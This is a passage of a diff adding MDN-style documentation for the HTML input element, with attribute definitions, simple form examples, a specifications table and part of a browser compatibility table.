+ <p>The <strong>autocomplete</strong> attribute also controls whether Firefox will, unlike other browsers, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state and (if applicable) dynamic checkedness</a> of an {{HTMLElement("input")}} across page loads. The persistence feature is enabled by default. Setting the value of the <strong>autocomplete</strong> attribute to <code>off</code> disables this feature; this works even when the <strong>autocomplete</strong> attribute would normally not apply to the {{HTMLElement("input")}} by virtue of its <strong>type</strong>. See {{bug(654072)}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute supported by Safari that is used to control whether autocorrection should be enabled when the user is entering/editing the text value of the {{HTMLElement("input")}}. Possible attribute values are:
+ <ul>
+ <li><code>on</code>: Enable autocorrection</li>
+ <li><code>off</code>: Disable autocorrection</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This Boolean attribute lets you specify that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the <strong>autofocus</strong> attribute, which is a Boolean. It cannot be applied if the <strong>type</strong> attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</dd>
+ <dt>{{htmlattrdef("autosave")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute should be defined as a unique value. If the value of the type attribute is <code>search</code>, previous search term values will persist in the dropdown across page load.</dd>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>
+ <p>When the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>, the presence of this Boolean attribute indicates that the control is selected by default; otherwise it is ignored.</p>
+
+ <p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic checked state</a> of an {{HTMLElement("input")}} across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>This Boolean attribute indicates that the form control is not available for interaction. In particular, the <code>click</code> event <a class="external" href="https://html.spec.whatwg.org/multipage/forms.html#enabling-and-disabling-form-controls:-the-disabled-attribute">will not be dispatched</a> on disabled controls. Also, a disabled control's value isn't submitted with the form.</p>
+
+ <p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of an {{HTMLElement("input")}} across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The form element that the input element is associated with (its <em>form owner</em>). The value of the attribute must be an <strong>id</strong> of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, this <code>&lt;input&gt;</code> element must be a descendant of a {{HTMLElement("form")}} element. This attribute enables you to place <code>&lt;input&gt;</code> elements anywhere within a document, not just as descendants of their form elements. An input can only be associated with one form.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The URI of a program that processes the information submitted by the input element, if it is a submit button or image. If specified, it overrides the {{htmlattrxref("action","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute specifies the type of content that is used to submit the form to the server. Possible values are:
+ <ul>
+ <li><code>application/x-www-form-urlencoded</code>: The default value if the attribute is not specified.</li>
+ <li><code>multipart/form-data</code>: Use this value if you are using an {{HTMLElement("input")}} element with the {{htmlattrxref("type","input")}} attribute set to <code>file</code>.</li>
+ <li><code>text/plain</code></li>
+ </ul>
+
+ <p>If this attribute is specified, it overrides the {{htmlattrxref("enctype","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are:
+ <ul>
+ <li><code>post</code>: The data from the form is included in the body of the form and is sent to the server.</li>
+ <li><code>get</code>: The data from the form are appended to the <strong>form</strong> attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.</li>
+ </ul>
+
+ <p>If specified, this attribute overrides the {{htmlattrxref("method","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the {{htmlattrxref("novalidate","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a <em>browsing context</em> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the elements's form owner. The following keywords have special meanings:
+ <ul>
+ <li>_<code>self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li>
+ <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li>
+ <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ <li><code>_top</code>: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("height")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the height of the image displayed for the button.</dd>
+ <dt>{{htmlattrdef("incremental")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute supported by Safari that only applies when the <strong>type</strong> is <code>search</code>. If the attribute is present, regardless of what its value is, the {{HTMLElement("input")}} fires <a href="/en-US/docs/Web/Events/search"><code>search</code></a> events as the user edits the text value. The event is only fired after an implementation-defined timeout has elapsed since the most recent keystroke; new keystrokes reset the timeout. In other words, the event firing is debounced. If the attribute is absent, the <a href="/en-US/docs/Web/Events/search"><code>search</code></a> event is only fired when the user explicitly initiates a search (e.g. by pressing the Enter key while within field).</dd>
+ <dt>{{htmlattrdef("inputmode")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint to the browser for which keyboard to display. This attribute applies when the value of the <strong>type</strong> attribute is text, password, email, or url. Possible values are:
+ <ul>
+ <li><code>verbatim</code>: Alphanumeric, non-prose content such as usernames and passwords.</li>
+ <li><code>latin</code>: Latin-script input in the user's preferred language with typing aids such as text prediction enabled. For human-to-computer communication such as search boxes.</li>
+ <li><code>latin-name</code>: As <em>latin</em>, but for human names.</li>
+ <li><code>latin-prose</code>: As <em>latin</em>, but with more aggressive typing aids. For human-to-human communication such as instant messaging for email.</li>
+ <li><code>full-width-latin</code>: As <em>latin-prose</em>, but for the user's secondary languages.</li>
+ <li><code>kana</code>: Kana or romaji input, typically hiragana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+ <li><code>katakana</code>: Katakana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+ <li><code>numeric</code>: Numeric input, including keys for the digits 0 to 9, the user's preferred thousands separator character, and the character for indicating negative numbers. Intended for numeric codes, e.g. credit card numbers. For actual numbers, prefer using &lt;input type="number"&gt;</li>
+ <li><code>tel</code>: Telephone input, including asterisk and pound key. Use &lt;input type="tel"&gt; if possible instead.</li>
+ <li><code>email</code>: Email input. Use &lt;input type="email"&gt; if possible instead.</li>
+ <li><code>url</code>: URL input. Use &lt;input type="url"&gt; if possible instead.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Identifies a list of pre-defined options to suggest to the user. The value must be the <strong>id</strong> of a {{HTMLElement("datalist")}} element in the same document. The browser displays only options that are valid values for this input element. This attribute is ignored when the <strong>type</strong> attribute's value is <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</dd>
+ <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd>
+ <dt>{{htmlattrdef("maxlength")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the maximum number of characters (in Unicode code points) that the user can enter; for other control types, it is ignored. It can exceed the value of the <strong>size</strong> attribute. If it is not specified, the user can enter an unlimited number of characters. Specifying a negative number results in the default behavior; that is, the user can enter an unlimited number of characters. The constraint is evaluated only when the value of the attribute has been changed.</dd>
+ <dt>{{htmlattrdef("min")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The minimum (numeric or date-time) value for this item, which must not be greater than its maximum (<strong>max</strong> attribute) value.</dd>
+ <dt>{{htmlattrdef("minlength")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the minimum number of characters (in Unicode code points) that the user can enter; for other control types, it is ignored.</dd>
+ <dt>{{htmlattrdef("multiple")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This Boolean attribute indicates whether the user can enter more than one value. This attribute applies when the <strong>type</strong> attribute is set to <code>email</code> or <code>file</code>; otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>The name of the control, which is submitted with the form data.</dd>
+ <dt>{{htmlattrdef("pattern")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the <strong>title</strong> attribute to describe the pattern to help the user. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored. The regular expression language is the same as JavaScript's. The pattern is not surrounded by forward slashes.</dd>
+ <dt>{{htmlattrdef("placeholder")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint to the user of what can be entered in the control . The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.
+ <div class="note"><strong>Note:</strong> Do not use the <code>placeholder</code> attribute instead of a {{HTMLElement("label")}} element. Their purposes are different: the {{HTMLElement("label")}} attribute describes the role of the form element; that is, it indicates what kind of information is expected, the <code>placeholder</code> attribute is a hint about the format the content should take. There are cases in which the <code>placeholder</code> attribute is never displayed to the user, so the form must be understandable without it.</div>
+ </dd>
+ <dt>{{htmlattrdef("readonly")}}</dt>
+ <dd>This Boolean attribute indicates that the user cannot modify the value of the control.
+ <p>{{HTMLVersionInline("5")}} This attribute is ignored if the value of the <strong>type</strong> attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</p>
+ </dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute specifies that the user must fill in a value before submitting a form. It cannot be used when the <strong>type</strong> attribute is <code>hidden</code>, <code>image</code>, or a button type (<code>submit</code>, <code>reset</code>, or <code>button</code>). The {{cssxref(":optional")}} and {{cssxref(":required")}} CSS pseudo-classes will be applied to the field as appropriate.</dd>
+ <dt>{{htmlattrdef("results")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute supported by Safari that only applies when the <strong>type</strong> is <code>search</code>. It is used to control the maximum number of entries that should be displayed in the {{HTMLElement("input")}}'s native dropdown list of past search queries. Its value should be a nonnegative decimal integer.</dd>
+ <dt>{{htmlattrdef("selectionDirection")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The direction in which selection occurred. This is "forward" if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or "backward" if the selection was made in the opposite direction. This can be "none" if the selection direction is unknown.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>The initial size of the control. This value is in pixels unless the value of the <strong>type</strong> attribute is <code>text</code> or <code>password</code>, in which case, it is an integer number of characters. Starting in HTML5, this attribute applies only when the <strong>type</strong> attribute is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>; otherwise it is ignored. In addition, the size must be greater than zero. If you don't specify a size, a default value of 20 is used.</dd>
+ <dt>{{htmlattrdef("spellcheck")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Setting the value of this attribute to <code>true</code> indicates that the element needs to have its spelling and grammar checked. The value <code>default</code> indicates that the element is to act according to a default behavior, possibly based on the parent element's own <code>spellcheck</code> value. The value <code>false</code> indicates that the element should not be checked.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute specifies a URI for the location of an image to display on the graphical submit button; otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("step")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Works with the <strong>min</strong> and <strong>max</strong> attributes to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this attribute is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</dd>
+ <dt>{{htmlattrdef("tabindex")}} element-specific in {{HTMLVersionInline(4)}}, global in {{HTMLVersionInline("5")}}</dt>
+ <dd>The position of the element in the tabbing navigation order for the current document.</dd>
+ <dt>{{htmlattrdef("usemap")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>The name of a {{HTMLElement("map")}} element to as an image map.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>The initial value of the control. This attribute is optional except when the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>.<br>
+ Note that when reloading the page, Gecko and IE <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=46845#c186">will ignore the value specified in the HTML source</a>, if the value was changed before the reload.</dd>
+ <dt>{{htmlattrdef("width")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the width of the image displayed for the button.</dd>
+ <dt>{{htmlattrdef("x-moz-errormessage")}} {{non-standard_inline}}</dt>
+ <dd>This Mozilla extension allows you to specify the error message to display when a field doesn't successfully validate.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="File_inputs">File inputs</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("2.0")}}, calling the <code>click()</code> method on an {{HTMLElement("input")}} element of type "file" opens the file picker and lets the user select files. See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for an example and more details.</p>
+</div>
+
+<p>You can't set the value of a file picker from a script; doing something like the following has no effect:</p>
+
+<pre class="brush: js">var e = getElementById("someFileInputElement");
+e.value = "foo";
+</pre>
+
+<h3 id="Error_messages">Error messages</h3>
+
+<p>If you want Firefox to present a custom error message when a field fails to validate, you can use the <code>x-moz-errormessage</code> attribute to do so:</p>
+
+<pre class="brush: html">&lt;input type="email" x-moz-errormessage="Please specify a valid email address."&gt;
+</pre>
+
+<p>Note, however, that this is not standard and will not have an effect on other browsers.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="A_simple_input_box">A simple input box</h3>
+
+<pre class="brush: html">&lt;!-- A basic input --&gt;
+&lt;input type="text" name="input" value="Type here"&gt;
+</pre>
+
+<p><input><img align="absmiddle" alt="" class="ife_marker" id="input_ife_marker_0" style="border: 0pt none; width: 14px; height: 19px; cursor: pointer; display: inline;" title="Max field length is unknown"></p>
+
+<h3 id="A_common_use-case_scenario">A common use-case scenario</h3>
+
+<pre class="brush: html">&lt;!-- A common form that includes input tags --&gt;
+&lt;form action="getform.php" method="get"&gt;
+ &lt;label&gt;First name: &lt;input type="text" name="first_name" /&gt;&lt;/label&gt;&lt;br /&gt;
+ &lt;label&gt;Last name: &lt;input type="text" name="last_name" /&gt;&lt;/label&gt;&lt;br /&gt;
+ &lt;label&gt;E-mail: &lt;input type="email" name="user_email" /&gt;&lt;/label&gt;&lt;br /&gt;
+&lt;input type="submit" value="Submit" /&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Using_mozactionhint_on_Firefox_mobile">Using mozactionhint on Firefox mobile</h3>
+
+<p>You can use the {{htmlattrxref("mozactionhint", "input")}} attribute to specify the text for the label of the enter key on the virtual keyboard when your form is rendered on Firefox mobile. For example, to have a "Next" label, you can do this:</p>
+
+<pre class="brush: html">&lt;input type="text" mozactionhint="next" name="sometext" /&gt;
+</pre>
+
+<p>The result is:</p>
+
+<p><a href="/@api/deki/files/4970/=mozactionhint.png"><img alt="mozactionhint.png" class="internal default" src="/@api/deki/files/4970/=mozactionhint.png?size=webview" style="width: 210px; height: 350px; border: 1px solid black;"></a></p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element', '&lt;input&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2 or earlier</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=button</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>3</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=checkbox</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}<br>
+ {{CompatGeckoDesktop("1.9.2")}} for <code>indeterminate</code> value</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=color</td>
+ <td>21.0</td>
+ <td>
+ <p>{{CompatGeckoDesktop("29.0")}} (Not for Windows Touch yet)</p>
+ </td>
+ <td>{{CompatNo}}</td>
+ <td>11.01</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>type=date</td>
+ <td>5.0</td>
+ <td>{{CompatNo}}<br>
+ {{unimplemented_inline("825294")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}} (recognized but no UI)</td>
+ </tr>
+ <tr>
+ <td>type=datetime</td>
+ <td>
+ <p>{{CompatNo}}<br>
+ (recognized but no UI)</p>
+ </td>
+ <td>{{CompatNo}}<br>
+ {{unimplemented_inline("825294")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}} (recognized but no UI)</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=datetime-local</td>
+ <td>5.0</td>
+ <td>{{CompatNo}}<br>
+ {{unimplemented_inline("825294")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}} (recognized but no UI)</td>
+ </tr>
+ <tr>
+ <td>type=email</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=file</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>3.02</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=hidden</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=image</td>
+ <td>1.0</td>
+ <td>Gecko 2.0 only sends x and y coordinates when clicked, not longer the name/value of the element</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=month</td>
+ <td>5.0</td>
+ <td>{{CompatNo}}<br>
+ {{unimplemented_inline("446510")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}} (recognized but no UI)</td>
+ </tr>
+ <tr>
+ <td>type=number</td>
+ <td>6.0 (Localization in Chrome 11)</td>
+ <td>{{CompatGeckoDesktop("29.0")}}</td>
+ <td>10<br>
+ (recognized but no UI)</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=password</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=radio</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}<br>
+ {{CompatGeckoDesktop("1.9.2")}} for <code>indeterminate</code> value</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=range</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("23.0")}}</td>
+ <td>10</td>
+ <td>10.62 (11.01 added support for a default value)</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=reset</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=search</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>11.01</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=submit</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=tel</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>11.01</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=text</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>type=time</td>
+ <td>5.0</td>
+ <td>{{CompatNo}}<br>
+ {{unimplemented_inline("825294")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}} (recognized but no UI)</td>
+ </tr>
+ <tr>
+ <td>type=url</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=week</td>
+ <td>5.0</td>
+ <td>{{CompatNo}}<br>
+ {{unimplemented_inline("825294")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}} (recognized but no UI)</td>
+ </tr>
+ <tr>
+ <td>
+ <p>accept=[file extension]</p>
+ </td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>
+ <p>accept=[MIME type]</p>
+ </td>
+ <td>8.0</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>10</td>
+ <td>10</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>accept=audio/*</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}<br>
+ Filters for the following audio file extensions: .aac, .aif, .flac, .iff, .m4a, .m4b, .mid, .midi, .mp3, .mpa, .mpc, .oga, .ogg, .ra, .ram, .snd, .wav, .wma</td>
+ <td>10</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>accept=video/*</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}<br>
+ Filters for the following video file extensions: .avi, .divx, .flv, .m4v, .mkv, .mov, .mp4, .mpeg, .mpg, .ogm, .ogv, .ogx, .rm, .rmvb, .smil, .webm, .wmv, .xvid</td>
+ <td>10</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>accept=image/*</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}<br>
+ Filters for the following image file extensions: .jpe, .jpg, .jpeg, .gif, .png, .bmp, .ico, .svg, .svgz, .tif, .tiff, .ai, .drw, .pct, .psp, .xcf, .psd, .raw</td>
+ <td>10</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>accept=[. + ext]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("37.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accesskey</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>6</td>
+ <td>1.0</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>mozactionhint</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>autocomplete</td>
+ <td>17.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>5</td>
+ <td>9.6</td>
+ <td>5.2</td>
+ </tr>
+ <tr>
+ <td>autofocus</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>9.6</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>checked</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>disabled</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>6</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>form</td>
+ <td>9.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>formaction</td>
+ <td>9.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>5.2</td>
+ </tr>
+ <tr>
+ <td>formenctype</td>
+ <td>9.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>formmethod</td>
+ <td>9.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>5.2</td>
+ </tr>
+ <tr>
+ <td>formnovalidate</td>
+ <td>5.0 (in 6.0 only worked with HTML5 doctype, validation support in 7.0 was disabled and re-enabled in 10.0)</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>formtarget</td>
+ <td>9.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>5.2</td>
+ </tr>
+ <tr>
+ <td>height</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>1.0</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>incremental</td>
+ <td>{{CompatVersionUnknown}}</td>
